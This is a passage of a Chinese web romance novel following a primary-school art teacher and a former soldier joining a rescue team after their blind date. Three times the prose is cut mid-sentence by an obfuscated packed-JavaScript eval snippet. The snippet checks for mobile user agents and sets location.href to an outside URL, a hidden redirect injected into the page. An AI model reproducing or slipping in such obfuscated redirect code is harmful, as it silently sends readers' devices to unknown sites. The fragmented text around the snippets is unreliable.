江昱洲顿了一下,马上脱口而出,“支持,非常支持,请领导放心。” 张志平走过来在江昱洲手臂上拍了拍,“好,那我就放心了,小伙子,好好干!” 走出应急局大院,旁边就是逐光特战救援队的办公地点和训练基地。 三十余名逐光救援队队员身着统一的藏蓝色作训服,后背的白色“逐光救援”字样格外醒目。 他们分成三组,正进行绳索横渡训练。两名队员在崖壁顶端固定锚点,动作干脆利落,卡扣拧紧的“咔咔”声与滑轮转动的“滋滋”声交织在一起。 江昱洲看着看着就出了神,心里默念了一句,“爸,我离你的梦想,越来越近了。” - 突然被放了鸽子,钟柠也没心思再吃下去,她回家休息了一会儿,把脸洗干净,重新换了一套衣服,正准备给孟雪打电话的时候,没想到对方先打过来了。 “怎么样啊小柠柠?你当众戳穿他的恶劣行径了吗,他有没有痛哭流涕地向你道歉呢,哈哈哈。” 钟柠本来就因为没有当众说明白原因而心里闷闷的,见孟雪又问,脸上的表情就更丧了。 “哎,别提了,雪,对方身世还挺惨的,我一时心软,根本没提他带娃相亲的事。” 孟雪啊了一声,“怎么回事啊?” 钟柠:“嗐,一两句话说不清楚,走吧,待会儿见面说。” - 光华路上新开了一家叫“嘻游记”的烤肉店,已经开了一个月有余,每天都人满为患,钟柠提前一天打电话定的位置。 她打车过去的时候,孟雪还没到,她也没进去,就站在店门口的花坛边上等她。 没一会儿,孟雪就开着她那辆白色的凯美瑞过来了。 孟雪家庭条件不错,老爸是处级干部,就她一个独生女,车是送她的生日礼物。 孟雪隔着车窗笑着跟她挥了挥手,又慢吞吞地开始了侧方停车。 试了三四次终于是把车子停到了车位上。 “哎,柠柠,你怎么在外面等我呀,好热的,我们快进去。” 孟雪锁了车就朝她跑过来,挽着她的手臂进了烤肉店。 孟雪身高跟钟柠差不多,穿了条白裙子,黑长直的头发挽到耳后,说话声音温温柔柔的。 姐妹俩在服务员的引导下找到了预定好的位置,倒是不急着烤肉,先八卦起来。 说起这个来钟柠就有些沮丧。 她把中午在老胖拉面馆发生的一切都跟孟雪一五一十地说了一遍。 孟雪听完,眼睛无声地转了转,“没想到,这位猛龙身世这么惨啊,但是这也不能成为他离婚带娃出来相亲,却不告诉中间人真相的理由啊?” “再说了,他还是当过兵的人呢,人家都说兵哥哥是国家严选,真不知道他如何过关的。” 钟柠低了低眉,神情有些低落,“是啊,确实有些过分了,我真后悔没有当众戳穿他,哎,我这个人啊,就是容易被男人的美色吸引,他一卖惨,我就招架不住了,真是没出息。” 听见她自己一个人絮絮叨叨个没完,孟雪也不说话,唇角带着笑容,一边听她絮叨,一边帮她烤肉。 孟雪把烤好的肉片放到她的盘子里,安慰她,“好啦,别纠结了,不是什么大事,你本来就是因为喜欢他的身材才在小绿书上关注他这么久的,现在真相大白,以后不要关注他,重新找一个目标不就行了?” 重新找一个? 是啊,小绿书上肌肉型帅哥千千万,又不是只有他一个? 想通之后,碗里的肥牛也开始变得美味起来。 美食下肚,钟柠的心情好多了。 姐妹俩正大快朵颐的时候,孟雪的手机响了起来。 是她男朋友何东打来的。 钟柠跟他也认识,孟雪很自然的接通了。 “喂,嗯,跟柠柠吃烤肉呢,待会儿回去再说吧。” 孟雪简单敷衍了几句就挂了。 钟柠把烤好的一片培根夹到孟雪盘子里,逗她,“哟,这么腻乎呀,天天在大楼里见还不行?下了班还这么腻歪。” 孟雪吃了两口,“哪里啊,在大楼里我们根本见不着,他们组织部比我们还忙呢,真的。” 何东是比孟雪早两批的公务员,新人入职培训的时候认识的,然后何东就开始追求孟雪了。 何东的这一通电话倒叫孟雪想起来一件很重要的事情。 “柠柠,我跟你说啊,我把你给我的那张猛龙的军装照给何东看了,你猜怎么着?” 钟柠喝了口柠檬水缓解嘴里的辛辣,问她,“怎么着,难道他面相不好吗?你家老何还会看相啊?” 孟雪摇头,“什么跟什么呀,是何东认识他,他俩是高中同班同学。” 钟柠:“啊???” “靠,这临川也太小了吧,到处都是熟人啊?” 孟雪也感叹,“谁说不是呢。” “那老何都说什么了?江昱洲这人到底怎么样啊?” 孟雪把嘴里的烤肉咽下去,轻声咳了下,眼神又环顾了四周,有点欲言又止的意思。 钟柠看她如此谨慎,心底顿时升起一股不祥的预感。她压低了声音问她,“到底怎么了,你倒是说啊,打什么哑谜啊?他不会有什么毛病吧?” 孟雪还是有些犹豫,嫩白的小脸有点红,不知是被烤炉的高温烘烤的,还是因为接下来要说的话有些难以启齿。 “哎呀,柠柠,你这反应也太大了,何东他也没说什么,就说上高中的时候江昱洲挺爱干净的,总洗床单,还是手洗,床铺叠的整整齐齐的,被子也是豆腐块儿。朋友不多,在班里的存在感挺低的。” 钟柠听完,觉得有些不信。 “就这?就这些也值得你压低声音悄悄的说啊?” 孟雪:“其实,还有一句。” 孟雪看了眼钟柠,又略带娇羞地把头低了下去。 钟柠满脑袋问号:??? 她好像读懂了好友的意思,起身走到对面的卡座上,坐在了孟雪旁边,把耳朵支了过去。 “好了,孟女士,现在你可以说了。” 孟雪挺了挺后背,趴到钟柠耳边,终于把何东评价江昱洲的那句话说了出来。 “就是...那个...何东他曾经跟江昱洲洗过一次澡,觉得...他那里....嗯...挺大的....高中的时候啊....你懂得....” 孟雪在钟柠耳边吞吞吐吐地半天才把一句话说完。 get到她的意思的一瞬间,钟柠的整张脸迅速变红一直到了耳根。 “呵呵...呵呵...就这啊,我以为什么劲爆的内容呢....” 钟柠顶着一张大红脸,强装镇定地坐回了对面。 看见钟柠一副见怪不怪的样子,孟雪也放下矜持,大声跟她调侃起来,“怎么,我们钟老师见多识广,肯定也不足为奇了吧?” 钟柠:“那是,姐姐我每天在网上冲浪,什么样的没见过呀?” “哎?怎么又说起他了,不是说让我换目标的吗,他一个离婚带娃骗婚渣男,拉黑拉黑,微信也要拉黑。” 孟雪附和着,“对对对,拉黑,下一个更好。” 姐妹俩又胡乱调侃了一通。 结束后,孟雪开车送钟柠回家。 到了宁宁水果店门口,钟柠非要拉着孟雪进去拿点水果再走。 孟雪实在是不好意思再去了,不知道免费吃了多少陈红英女士的水果了。 “我真的不去了柠柠,太不好意思了,你就在这下车吧,省得让阿姨看见。” 钟柠拗不过她,只好答应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她早就知道,这通电话会打过来,只是没想到这么早。 应付胡姐的说辞,钟柠早就想好了。 钟柠把手机摆到盥洗池的支架上,开了免提,抽了张纸巾擦了擦嘴角的泡沫,又对着镜子欣赏起自己来。 “哎呀,胡姐,我们不合适,他长得太凶了,他是断眉,我听说,断眉的人有家暴倾向。” 胡文秀一听就不乐意了,声调也高了起来,“怎么不合适啊,小钟,咱们不搞迷信那一套啊,小伙子多帅啊,又是当过兵的,又能干,又稳重的。” 钟柠见自己的眉毛边上有几根刚长出来的杂毛,拿出修眉刀正对着镜子修剪,表情有些狰狞。 “胡姐,您错了,不是我没看上他,是他没看上我。” 胡文秀哎呦了一声,“怎么回事啊?” “我们俩刚坐下,点的菜刚上来,没吃几口呢,他接了个电话就急匆匆地走了,您说,这不就是没看上我吗?” 胡姐声调瞬间低了下来,“这小伙子眼光也太高了,这么一大美女都不要,还想要什么样的呀,行了,你也别太气馁,赶明儿姐再给你介绍更好的啊。” “哎,好嘞,谢谢姐。” 这套说辞简直完美,要是说自己没看上男方,估计会被胡姐教育一通,毕竟对方是副校长介绍的,家里还有亲戚在教育局工作,所以,是说对方没看上自己是最保险的。 贬低自己,抬高他人,永远没错。 钟柠抓紧洗漱化妆完毕,迎着早晨的阳光到老妈的水果店里去帮忙。 刚走到小区门口,就看见水果店前面停了一辆小厢货,一箱又一箱的水蜜桃正往店里搬。 钟柠赶紧快走两步过去帮忙。 卸完货,老爸的早餐也准备的差不多了,一家三口就在门店后面的储物间里吃早餐。 门口的感应器忽然响了起来:欢迎光临。 钟柠放下筷子,起身准备出去,“爸、妈,你们吃,我去卖货。” 她出来的有点急,嘴里刚咬了一口油条还没来得及咽下去。 钟柠撩开门帘从里面出来,看见一位穿着黑色T恤的男士正在门口挑西瓜,身形高大,背影看上去有些眼熟。 “老板,这个西瓜怎么卖?” 钟柠走过去为他介绍,男人听见有人走过来,随即把视线转了过来。 二人的视线在空中对视上,钟柠嘴里那半口油条差点喷出来。 是铁血猛龙! 7.第 7 章 看到对方那张凌厉的冷脸,钟柠身体本能后退两大步,脸上堆起一个假笑。 “西瓜两块五一斤,包甜。” 都离这么远了,他应该认不出我吧? 江昱洲看到钟柠后,眼神就从西瓜上挪了过来。 这姑娘有点眼熟。 不是眼熟,就是她,就是昨天跟他相亲的钟老师。 然而,她今天的装扮,却跟昨天截然不同。 江昱洲早就猜到,昨天的黑脸是她故意化的,只是没想到,正常的她,居然长这样。 面容白皙清透,杏眼翘鼻,樱唇不化而粉,虽然未施粉黛,却仍难掩姿色,乱糟糟的秀发被她梳理的整整齐齐,只剩下两耳侧还有几缕俏皮的碎发,随着她说话的动作而轻轻晃动。 江昱洲有些呆住了。 这姿色确实当得起一句学校里数一数二漂亮的老师了。 见对方一直盯着他不说话,钟柠有些慌了,猜到他是认出了自己。 她抬起手在他眼前晃了晃,“你好?西瓜还买吗?” 江昱洲回神,“哦哦,买,买,给我挑两个。” 钟柠利落地选了两个大个的,称重,装袋。 “一共56块钱。” 江昱洲掏出手机扫码付款,顺便问了句,“钟老师,好巧啊,这家店,是你开的?” 钟柠尴尬地笑笑,“呵呵,是我家的,我没事在这里帮帮忙,是挺巧的,你家住在附近吗?” “不是,我家在水君湾小区,我大伯家在对面的小区。” 她只是想问他怎么会来这里买水果,不是要打听他住在哪里啊喂! 钟柠感觉到他完全没有要走的意思,是还想在这里跟她聊几句吗?待会儿她爸妈出来怎么解释的清楚啊? 但人家毕竟是客人,她也不好意思直接开口赶人。 她搓了搓手,想到一个话题。 “今天周末,不用送孩子上学哈?” “嗯,在家写作业呢。” 就在钟柠拼命想着下一个话题该说点什么的时候,小店门口又来了一位客人。 她赶紧上去热络的打招呼。 “您好,要点什么?都是今天早晨新上的新鲜水果哟。” 果然,看着钟柠去招呼别的客人,江昱洲拎起西瓜离开了。 “哎,老同学,怎么是你啊?” 梁贺进门的时候,跟要出门的江昱洲打了个擦肩。 他稍微停顿了半秒,扫了江昱洲一眼。 看到钟柠,梁贺脸上的欣喜之情是藏也藏不住。 “哎,这水果店?你家的?” 钟柠点头,“对啊,都开了快两年了。” 梁贺双手合十用力地拍了一下,“这不是巧了嘛,我刚在这个小区买了房子,今天晚上是温锅宴,所以我说出来买点水果,没想到,哎呀,太巧了太巧了。” 两人正说着话,陈红英也从后面走了出来。 “小伙子,这都是今天早晨新上的水果,新鲜的很。” 梁贺微微颔首跟陈红英打招呼,“阿姨,您好,我是梁贺,是钟柠的高中同学,我家也搬到这个小区了。” 听完他的自我介绍,陈女士的眼神亮了亮,“哟,是吗,这么巧啊。” 陈红英说着话,一面打量着梁贺。 小伙子挺精神的,一米八左右的个头,瘦高瘦高的,头发打理的根根分明,穿了件白色POLO衫,黑色裤子,眼睛不算大却很有神,一笑起来,露出两颗虎牙,是老一辈眼中喜欢的那种讨人喜欢的长相。 “阿姨,这回啊您不用跟我客气,有什么搬搬抬抬的活您就招呼我,我随叫随到,我家就在4号楼3单元201。” 陈红英被他哄的眉开眼笑的,“小梁你太客气了,我怎么能让你干活呢,你还得上班啊,你做什么工作的呀?” 梁贺有些不好意思地挠了挠头,“嗐,没什么正经的工作,跟我爸养活了一个车队,搞运输的,每天瞎忙。” ...... 钟柠见老妈跟梁贺聊得挺火热,自己站在这儿好像挺多余的,转了个身准备回屋。 没想到,刚走一步,还是被梁贺发现了。 “哎,钟柠,我还没问你呢,昨天在拉面馆,你是在相亲吗,怎么样啊,成功了吗?” 他这句话一出,三个人都沉默了。 陈红英先开口,“相亲?什么相亲啊?谁去相亲了?” 她把目光转向站在旁边低着头女儿。 看见陈女士的反应,梁贺才知道自己闯祸了。 钟柠去相亲,很明显家人是不知道的,他却像个长舌妇似的给人家全都抖了出来。 “哎,阿姨,阿姨,这西瓜怎么卖啊,您给我挑两个脆点的,我不喜欢吃沙的,我也不会挑,麻烦您了。” 梁贺试图转移陈红英的注意力。 梁贺买了两个西瓜,又搬了一箱葡萄,付钱离开了。 送走梁贺,陈红英再次返回店里,迫不及待地问女儿。 “柠柠,刚才小梁说的是真的?你去相亲了?” 钟柠一看躲不掉了,决定实话实说。 她拉着老妈的胳膊,摆出一副很为难的表情,“妈,我是去了,我是没办法,不得不去啊,是我们副校长给介绍的,你说,我能不去吗?” 陈红英一听是校长,随即点了点头,“那确实该去,怎么样啊,那男孩子长什么样,做什么工作的?” 钟柠不知道该怎么和老妈说。 “哎,当兵的,比我大好几岁,长的黑乎乎的,五大三粗的,不是我喜欢的类型。” 陈红英一听,这估计是没戏。 她并没有骂闺女挑剔,相反很高兴的样子。 “没事,闺女,咱们还有的是机会,只要你不排斥相亲,那老妈给你准备的相亲计划就开始了啊,其实我没告诉你,我已经让老家的亲戚帮你找了好几个不错的小伙子,就等你开口呢,你等着,我现在就给你三姨打电话。” “啊?” 钟柠长叹一声,差点瘫倒在地,“别呀妈,再等等,咱们不是还有一年之约吗?我我我,我学校还有点事情,我先去加班了。” 她跑得飞快,身后还是传来老妈的呼喊,“一年什么一年,一年之后,这些好小伙都名花有主了。” - 周一一上班,钟柠刚到办公室,就看见跟她一个办公室的音乐老师刘欣神秘兮兮地凑了过来。 “哎,钟老师,你听说了吗?” “听说什么了,怎么了?” 刘欣抬头看了看四周,伸手示意钟柠凑得近一点。 “四年级五班的班主任,梁倩老师,周六晚上在家里,咔......” 刘欣在钟柠手腕处比划了一下。 钟柠明白了她的意思,吓得哆嗦了一下,“啊?割腕啊?为什么啊,年纪轻轻的,有什么想不开的?” 刘欣趴在她耳边低语,“逼婚,听说她妈妈非逼她今年嫁出去,相亲对象更是见了快有一卡车,估计受不了了吧?” “那人没事吧?” “没事,抢救的及时,救回来了。” 钟柠拍了拍胸口,“还好,还好,吓死我了。这个梁老师也真是的,怎么这么想不开啊?” 刘欣又看了眼办公室门口,确定没人进来,才又开口。 “不是她想不开,是她妈妈太强势了,换你你也受不了,我前段时间见她总是精神恍惚的,估计都抑郁了。” 听着刘欣给她讲的八卦,钟柠不禁想起昨天老妈那一晚上几乎没有挂断的电话,七大姑八大姨都叫她问了个遍,她的小本本上不知道记了多少个相亲对象的信息。 “哎,柠柠,你怎么在发抖啊?” 刘欣摁住钟柠冰凉的双手。 “啊?没事,我我我没事,我下节有课,我先走了。” - 周三下午最后一节是美术社团课,又有一批一年级的小豆丁加入。 其中就有江承佑。 自从相亲那天听说了江承佑的悲惨身世,钟柠对江昱洲带娃相亲的敌意真的降低许多。 好奇心驱使下,钟柠特别想知道江承佑小朋友学籍表里父母那一栏是怎么写的。 是离婚了吗?还是妈妈已经不在了? 上社团课之前,钟柠备完课,来到了一年级三班班主任朱老师的办公室。 她敲了敲门。 “朱姐,你在忙吗?” 朱琳琳老师四十多岁的年纪,是一小的资深高级教师,刚送走一届毕业班。 “我不忙,怎么了,小钟,有事吗?” 钟柠拿出了一张社团课报名表。 “是这样的,朱姐,有个叫江承佑的学生是你们班的吧,他报名了社团课,我想找你要一下他父母的信息,小家伙很有天赋,画的很好,以后如果有什么比赛,我好推荐他。” 钟柠理由充分,朱老师没有理由拒绝。 “哎呀,就这个事啊,你微信跟我说一声就行,来,我把学籍信息表微信发给你。” “谢谢朱姐。” 从朱琳琳办公室出来,钟柠就迫不及待地打开表格。 全班50多个学生,每个学生的信息都是长长的一行,钟柠看得眼睛都快花了,也没找到江承佑的名字。 回到办公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446609|201068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室,登录微信电脑版,把表格重新发送给文件传输助手。 江承佑。 父亲:江韦川,临川市商业银行经理。 母亲:谭悦,临川市教育局办公室主任。 ??? 钟柠看着屏幕上的信息,脑子顿时成了一摊浆糊。 这孩子不是他儿子吗? 那怎么跟他长得那么像呢?简直是一个模子刻出来的。 难道说,是自己误会他了? - 周一上午八点,江昱洲准时到逐光特战救援队报到。 队里召集了部分队员,在会议室举行了一个小型的欢迎仪式。 明亮宽敞的会议室里,大家相对而坐,队长冯昭坐在中央位置。 江昱洲坐在他右手边,腰背挺直,目视前方。 “大家安静,咱们现在开会,今天开会的目的是欢迎江昱洲副队长的到来,下面,由我宣读一下江队长的个人简历。” “江昱洲,男,28岁,中/□□员,曾服役于某集团军特种兵历任侦察排长、特战小队队长。” “熟练掌握格斗、攀登、绳索救援等技能,具备丰富的野外环境处置经验。参与边境反恐□□、跨区联合演习等重大任务10余次,因表现突出荣立个人三等功2次、集体二等功1次,多次获评“优秀基层指挥员”“军事训练标兵”。” “取得红十字会高级急救员证书,具备扎实的创伤包扎、心肺复苏、伤员转运实操能力。” “下面,让我们以热烈的掌声欢迎江队长的加入。” 江昱洲起身,轻转身体,对着冯队和其他队员敬了个军礼。 冯昭带头鼓起掌来,下面的队员们的掌声却稀稀拉拉的,大多数人的脸上都带着探究的表情,好像对刚才简历中江昱洲获得的那些荣誉充满了质疑。 散会后,冯昭带着江昱洲在办公大楼和训练基地分别转了一圈,参观了一下。 队长冯昭今年50岁,已加入救援队12年。 “小江啊,刚才某些队员们的表现你不要往心里去,本来嘛,他们有些熬了很多年也坐不上副队长的位置,你一来就是副队长,肯定有人不服气。” 江昱洲点头,“谢谢冯队,我明白。” 经历过七月份的集中防汛救援,队里目前属于休整状态,每周固定一三五集训,其他时间可以去忙自己的事情,如遇突发事件,全员随叫随到。 冯队长又跟江昱洲交代了一些集训的事情,让他制定一个为期一个月的集训计划,从下周开始,队员的集训和新入队队员的培训全部交给他。 江昱洲回到自己的办公室,便开始着手准备集训计划。 既然有些人看不起他,他心里暗暗发誓,那就训练场上见吧。 中午时分,负责后勤保证的杨秘书长给他送来了两套作训服还有一些基本的办公用品。 江昱洲在办公室待到下午五点半。 他开车往实验小学驶去,去接佑佑放学。 集训开始之前,江昱洲还有一周的清闲时间。 周三下午,爷爷打来电话让他晚上到家里吃饭,正好接了佑佑一起过去。 江昱洲提前到达,站在人群里,眼神始终看着学校大门的方向。 一年级的小朋友排着队,在班主任的护送下慢慢地走了出来。 从一班到五班,依次排开。 江承佑早就看到了江昱洲,站在队伍里也不老实,手里拿着一张A3素描纸,一直在朝他挥手。 体育委员在整理队伍。 小家伙不老实,除了挥手还一直在跟旁边的同学讲小话。 “好,解散。” “老师再见!” 一个个小豆丁异口同声地跟老师告别,接着作鸟兽散,跑向自己的爸爸妈妈。 江承佑也跑了过来,身后还跟着一个比高一点的男生。 “你看,这个就是我给你讲过的,我叔叔,他是解放军。” 江昱洲低头笑着摸了摸两个小家伙的脑袋。 余光里,瞥见二年级放学的队伍已经来到了校门口。 二年级三班旁边站着的女老师,有点眼熟。 她今天穿了件薄荷绿开衫,下面是白色荷叶边半身裙,长发温柔得搭在肩头,整个人洋溢着春天的活力。 不知旁边的小男生跟她说了什么,她笑得花枝乱颤,眉毛都弯了起来。 佑佑的同学已经走了。 他见叔叔没有走的意思,拍了拍他的手臂。 “叔叔,我们走吧,你看什么呢?” 江昱洲把视线收了回来,牵起佑佑的手,“没看什么,走吧。” 8.第 8 章 社团课时间到了。 钟柠带着教案和画笔来到了三号楼的四楼,美术社团教室。 她第一眼就在一群小朋友中间看到了江承佑。 小家伙个头很高,才8岁都快有一米五了,跟同学站在一起很显眼,虎头虎脑的,眼睛又黑又亮。 第一节课,钟柠准备教孩子们画简笔画。 她打开多媒体,搜索了一张卡皮巴拉的简笔画出来。 “同学们,你们好,从今天开始,我就是你们的美术社团老师了,我姓钟,时钟的钟。” 同学们一个个坐得整齐笔直,异口同声地喊:老师好。 钟柠点开屏幕上的图片给大家看。 “同学们,你们都认识这个动物吗?” 小家伙们有的跃跃欲试地猜测,有的则在挠头。 先开口的,居然是江承佑,“老师,这是一只棕色大老鼠吗?” 哈哈哈…… 他的发言引得同学们哄堂大笑。 钟柠抬手示意大家停下来。 “同学们,这位同学说的有点道理,你们看,它确实长得有点像老鼠,但是呢,它不是老鼠,是南美洲的一种动物叫水豚,中文音译名叫卡皮巴拉。” “你们觉得,它长得可不可爱啊?” “可——爱——” “好,那我们今天就来画卡皮巴拉好不好?” “好——” 钟柠让孩子拿出铅笔和素描纸,跟着她的笔画一笔一笔地画轮廓,最后再涂上颜色。 一节40分钟的社团课很快结束,大家都画出来了各种模样的卡皮巴拉。 钟柠给每位学生的作品上都画了一个大拇指的符号。 “好啦,把作品带回家给爸爸妈妈看看,我们今天的课程到此结束,下课!同学们,再见!” “老师——再见——” 上完社团课的学生们需要到各自班级站队,跟随原班级一起下课。 江承佑背着大大的书包,手里拿着一张素描纸,想着见到妈妈的第一时间就给她看。 一年级三班的队伍已经走到了指定位置,江承佑转了转脑袋,很容易就发现了人群里的江昱洲。 “看,是我叔叔来接我了!” 他的嗓门很高,成功吸引了周围同学的注意力。 “江承佑,哪个是你叔叔啊?” “就是那个最高的,穿着军官的衣服。” “哇哦——” 同学们一阵感叹。 “你叔叔是解放军啊?好帅啊?” 小家伙的虚荣心得到了极大的满足。 “我叔叔不光人长得帅,他还会开飞机,开坦克呢。” 班主任老师宣布放学,解散。 江承佑背着大书包,身体一晃一晃地跑向江昱洲。 “叔叔——” “叔叔——” 江昱洲看到了小侄子,冷硬的脸上浮起笑容,身体蹲下去抱住了他。 “来,佑佑,把书包给我。” 他接过书包,没忍住感叹了句,“你书包这么沉?” 小家伙完全没注意叔叔在说什么,扬起手里的话就要给他看。 “叔叔,你看,这是我画的画,我今天上美术社团课了。” 江昱洲一手拎着书包,一手牵着小侄子,低头看了一眼画。 “佑佑,你画的这是什么,老鼠吗?” “叔叔,你好笨啊,哪里有棕色的老鼠啊?这个是卡皮巴拉!” 什么什么? 江昱洲皱了皱眉,一度怀疑小家伙跟他拽了句日语。 不过,这只棕色的大耗子最近出现的频率还真是高,小绿书上那个疯狂女粉丝的头像是它,钟柠的微信头像和包包挂件也都是它。 这又是一种流行风尚吗? 江昱洲平时手机都很少刷的人表示不理解。 叔侄俩开车一起回爷爷奶奶,也就是小承佑的太爷太奶家吃晚饭。 饭桌上,一家八口难得聚齐。 江爷爷看着这一大家子人很是欣慰。 他举起酒杯,感慨,“以前昱洲在部队,我们家好几年都没法团聚,现在好了,终于是能经常在一起了。” 江昱洲也端起了酒杯,还没说话,就被堂哥江韦川抢了先。 “爷爷,您还怕以后没有团聚的日子吗?小洲已经转业回来了,以后定了工作,成个家,天天来您家吃饭都行,到时候您和我奶奶可别嫌烦。” “就是就是,昱洲啊,这几天没见你,也没顾上问你周六相亲的事,怎么样啊觉得?” 嫂子谭悦的这两句话迅速引爆餐桌燃点。 江昱洲有些不好意思地挠挠头,又抬头挨个看看大家,有点欲言又止的意思。 大伯母是个急性子。 “怎么?是不满意吗?没事,不满意咱们再介绍下一个,肯定有满意的。” 堂哥摇摇头,“我觉得不是,看昱洲的表情,应该是有戏吧?” 江昱洲被大家调侃的有些脸红,突然站起身来。 “那个,那个老师,挺好的,就是就是.....我们不合适。” 众人一听,瞬间都放下了筷子。 到底哪里不合适啊? 是啊,到底哪里不合适? 他总不能说那姑娘特别不会长,脸那么黑,手却那么白,一个人吃了两碗面,一个劲打嗝比他还能吃? 很明显,她也是被家人逼着出来相亲,才故意扮丑的,出于人道主义他也不能戳破。 江昱洲支支吾吾半天,也没说出个所以然,没办法,他只好站了起来,伸开双臂,比划了两下。 “她这么....我这么.....”他涨红了脸,“哎呀,反正就是不合适。” 大家看得似懂非懂,这是嫌弃人家女生长得矮? 谭悦主动出来帮腔,“小洲,身高不是问题,你看,我也不高啊,佑佑的身高在他们班也是最高的,这个方面你不用担心啊。” “不是的,嫂子,不是身高的问题。” 江老爷子突然把筷子啪的一声摔在了桌子上,“行了,别比划了,不合适就算了,你也别在天天在家里晃荡,从明天开始给我去酒店上班,就从最底层的服务员做起,省得还得花钱雇别人。” 见老爷子发了火,其他人更是吓得大气都不敢出,谭悦给儿子使了个眼神,让小家伙出来活跃气氛。 江承佑最擅长干这些,放下手里的鸡腿,跑到沙发上把自己画的那幅画拿了过来。 “你们都不要说话啦,你们都看过我画的画了吗,我画的好不好呀?” 僵硬的气氛得到缓解,画纸在每个人手中传阅,大家都变着花样的夸奖了一番。 小家伙虚荣心得到满足,脖子扬得高高的,“这是我们钟老师教我们画的,它的名字叫卡皮巴拉,可不是什么老鼠。” 江昱洲听见了小家伙嘴里说的钟老师三个字,脑海中有根弦绷了一下。 “佑佑,教你们画画的是钟老师吗?” 江承佑:“对啊。” 江昱洲:“是哪个钟字啊?” 小家伙啃着鸡腿,小嘴巴油乎乎地,“中间的中呗,还能有哪个中?” 江昱洲这才发觉,自己太敏感了。 根本不会那么巧的。 饭后,江昱洲正打算离开,却被老爷子叫进了书房。 在这个家里,江昱洲最怕的就是爷爷。 老爷子70岁的年纪,头发花白,带着一副金丝眼镜,眉眼间的严肃并没有随着年龄的增长而消退。 他走进书房,站在书桌正前方,双手负立,不敢抬眼。 “你3月份退伍回来,到现在也半年多了,你跟我说说,每天都在忙什么?” 江昱洲回想了一下,这半年,他唯一做的事情就是为了加入救援队的事情跑前跑后,除了这个,他什么都没做。 “没....没干什么。” 老爷子嗯了一声,眼看就要发火,吓得江昱洲身体往后躲了躲,害怕被突然飞过来的镇纸砸到。 上次老爷子发这么大的火,还是他上大学期间悄悄报名参军入伍。 因为父亲的关系,老爷子不容许家里任何人从事跟军队消防有关的工作。 江昱洲扑通一声跪了下来。 “爷爷,请您再给我一个月的时间,我一定.....一定.....” “一定什么?” 江昱洲不敢提救援队的事情,害怕老爷子万一真的动了怒,跟上次一样停了他的股份分红。 “我一定给您领个满意的孙媳妇回来。” 江昱洲抬起头看着老爷子,目光坚毅真挚,倒不像是在撒谎。 老爷子抬了抬眼,胸中的怒气也消了大半。 “我就再相信你最后一次,不然,就给我去酒店端盘子!” 书桌上的黄铜镇纸被拍得咚得一声响,江昱洲吓得赶紧退了出去。 回到自己家,江昱洲一直觉得心神不宁,心慌的很。 他给爷爷立下的一个月内领回去孙媳妇的誓言,到底要如何才能实现。 江昱洲洗完澡,只穿了件军绿短裤,头发湿着坐在沙发上。 他打开手机,找到了小红书上的那个私聊他一个月的“离婚带俩娃” 看着她主页上的IP地址显示:临川。 距离自己只有16.8㎞。 想必是在一个城市的。 既然对他感兴趣,不如跟她谈个交易。 看着对方头像上的那只棕色的大老鼠,江昱洲总觉得这人跟钟柠有什么关系。 江昱洲措了措辞,准备打字的时候,才发现上一条消息前面还有一个惊人的感叹号。 想起来了,对方已经把他拉黑了。 江昱洲看着对面女生发过来的30多条【老公,晚安】陷入沉思。 明明坚持了那么久,为什么突然拉黑呢? 江昱洲拼命回忆着对方拉黑自己这几天到底发生了什么事情。 唯一一件大事,就是他跟钟柠的相亲。 难不成,他去相亲,小红书上的她也知道了?吃醋了? 不对不对,肯定不是。 江昱洲都被自己可笑的想法气笑了。 他忽然一拍大腿,站了起来。 对了,肯定是因为我最近没直播,对方关注自己就是因为直播关注的! 江昱洲几乎是瞬间到卧室换了件衣服,又来到书房,把手机架好,点开了直播。 黑色的紧身工字背心,同色的运动短裤,将他的好身材展现的淋漓尽致。 他找了个杠铃开始举铁,眼睛却一定不动地盯着滚动的屏幕。 【再给我咬一口已进入直播间……】 【樱桃小完犊子已进入直播间……】 【大润发杀了十年鱼已进入直播间……】 不到十分钟,在线观看人数已经超过1 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17453781|201068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 000. 评论也在不断的刷新着。 蜡笔小心眼子:【哥哥你好久没直播了,这几天去哪里了。】 别碰我丸子头:【楼上有点距离感,哥哥当然是跟我在一起了。】 虾仁不眨眼:【你们没发现吗,哥哥今天居然露正脸了,好帅啊嘤嘤嘤】 大润发杀了十年鱼:【哥哥你胸肌下面有颗痣哎,对了,说到下面......】 ...... 这些评论他都没有理会,眼睛一眨不眨地盯着屏幕,寻找着那个熟悉的ID。 没有。 她没来。 江昱洲播了半个小时,都没看到【离婚带俩娃】出现。 他下了播又去冲了个澡,临睡前,把刚才直播的录屏上传到小绿书。 看着视频上传成功,他再次不死心地打开了跟【离婚带俩娃】的聊天框。 为什么拉黑我呢? 不是很喜欢我的吗? 怎么突然不喜欢我了? 无数个问题在他的脑海里盘旋着,手指也无意识地在手机屏幕上摩挲。 